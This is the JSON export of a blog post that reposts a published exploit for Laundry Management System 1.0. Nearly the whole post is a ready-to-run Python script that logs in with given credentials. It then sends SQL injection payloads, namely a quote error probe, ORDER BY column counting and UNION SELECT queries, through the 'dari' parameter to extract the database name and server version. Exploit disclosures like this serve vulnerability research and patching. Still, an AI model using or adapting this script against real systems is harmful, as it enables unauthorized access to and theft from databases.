{"id":26346,"date":"2022-06-30T01:48:22","date_gmt":"2022-06-29T21:48:22","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/167616\/lms10lf-sql.txt"},"modified":"2022-07-04T12:46:49","modified_gmt":"2022-07-04T08:16:49","slug":"laundry-management-system-1-0-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/laundry-management-system-1-0-sql-injection\/","title":{"rendered":"Laundry Management System 1.0 SQL Injection"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: Laundry Management System 1.0 &#8211; Authenticated SQL Injection<br \/>\n# Date: 29-06-2022<br \/>\n# Exploit Author: syad<br \/>\n# Vendor Homepage: https:\/\/www.sourcecodester.com<br \/>\n# Software Link: https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/oretnom23\/php-ci_laundry.zip<br \/>\n# Version: 1.0<br \/>\n# Tested on: Windows 10 + XAMPP 3.2.4<br \/>\n# CVE ID : N\/A<\/p>\n<p dir=\"ltr\"># Description<br \/>\n# The dari parameter does not perform input validation on the laporan_filter.php file it allow authenticated SQL Injection<\/p>\n<p dir=\"ltr\">import sys<br \/>\nimport requests<br \/>\nsess = requests.Session()<\/p>\n<p dir=\"ltr\">proxies = {&#8220;https&#8221;: &#8220;https:\/\/127.0.0.1:8080&#8221;, &#8220;http&#8221;: &#8220;http:\/\/127.0.0.1:8080&#8221;}<\/p>\n<p dir=\"ltr\">def login(ip,username,password):<br \/>\ntarget = &#8220;http:\/\/%s\/ci_laundry\/welcome\/login&#8221; % ip<br \/>\ndaftar = {&#8216;username&#8217;:username,&#8217;password&#8217;:password}<br \/>\nmasuk = sess.post(target, data=daftar, proxies=proxies)<br \/>\nif &#8220;Dashboard&#8221; in masuk.text:<br \/>\nprint(&#8220;[$] Success Login :)&#8221;)<br \/>\nelse:<br \/>\nreturn False<\/p>\n<p dir=\"ltr\">def trigger_sqli(ip):<br \/>\ntarget = &#8220;http:\/\/%s\/ci_laundry\/pengeluaran\/laporan_filter&#8221; % ip<br \/>\nsql = {&#8220;dari&#8221;:&#8221;1&#8242;&#8221;,&#8217;sampai&#8217;:&#8217;123&#8242;}<br \/>\ntest = sess.post(target, data=sql, proxies=proxies)<br \/>\nif &#8220;You have an error in your SQL syntax&#8221; in test.text:<br \/>\nprint(&#8220;[$] Trigger SQL Injection !!!! :)&#8221;)<br \/>\nelse:<br \/>\nreturn False<\/p>\n<p dir=\"ltr\">def count_column(ip):<br \/>\ntarget = &#8220;http:\/\/%s\/ci_laundry\/pengeluaran\/laporan_filter&#8221; % ip<br \/>\nsql = {&#8220;dari&#8221;:&#8221;1&#8242; ORDER BY 14&#8211; -&#8220;,&#8217;sampai&#8217;:&#8217;123&#8242;}<br \/>\ntest = sess.post(target, data=sql, proxies=proxies)<br \/>\nif test.status_code == 200:<br \/>\nprint(&#8220;[$] Found 14 Column In Database !!! :)&#8221;)<\/p>\n<p dir=\"ltr\">def got_database_name(ip):<br \/>\ntarget = &#8220;http:\/\/%s\/ci_laundry\/pengeluaran\/laporan_filter&#8221; % ip<br \/>\nsql = {&#8220;dari&#8221;:&#8221;1&#8242; union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14&#8211; -&#8220;,&#8217;sampai&#8217;:&#8217;123&#8242;}<br \/>\ntest = sess.post(target, data=sql, proxies=proxies)<br \/>\nif &#8220;laundry_db&#8221; in test.text:<br \/>\nprint(&#8220;[$] Found Database Name is =&gt; laundry_db&#8221;)<\/p>\n<p dir=\"ltr\">def got_version_data(ip):<br \/>\ntarget = &#8220;http:\/\/%s\/ci_laundry\/pengeluaran\/laporan_filter&#8221; % ip<br \/>\nsql = {&#8220;dari&#8221;:&#8221;1&#8242; union select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14&#8211; -&#8220;,&#8217;sampai&#8217;:&#8217;123&#8242;}<br \/>\ntest = sess.post(target, data=sql, proxies=proxies)<br \/>\nif &#8220;10.4.24-MariaDB&#8221; in test.text:<br \/>\nprint(&#8220;[$] Found Version Database is =&gt; 10.4.24-MariaDB&#8221;)<\/p>\n<p dir=\"ltr\">if __name__ == &#8220;__main__&#8221;:<br \/>\ntry:<br \/>\nip = sys.argv[1].strip()<br \/>\nusername = sys.argv[2].strip()<br \/>\npassword = sys.argv[3].strip()<br \/>\nexcept IndexError:<br \/>\nprint(&#8220;[-] Usage %s &lt;ip&gt; &lt;username&gt; &lt;password&gt;&#8221; % sys.argv[0])<br \/>\nprint(&#8220;[-] Example: %s 192.168.1.x admin admin123&#8221; % sys.argv[0])<br \/>\nsys.exit(-1)<\/p>\n<p dir=\"ltr\">login(ip,username,password)<br \/>\ntrigger_sqli(ip)<br \/>\ncount_column(ip)<br \/>\ngot_database_name(ip)<br \/>\ngot_version_data(ip)<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Laundry Management System 1.0 &#8211; Authenticated SQL Injection # Date: 29-06-2022 # Exploit Author: syad # Vendor Homepage: https:\/\/www.sourcecodester.com # Software Link: https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/oretnom23\/php-ci_laundry.zip # Version: 1.0 # Tested on: Windows 10 + XAMPP 3.2.4 # CVE ID : N\/A # Description # The dari parameter does not perform input validation on the &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-26346","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/26346","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=26346"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/26346\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=26346"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=26346"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=26346"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}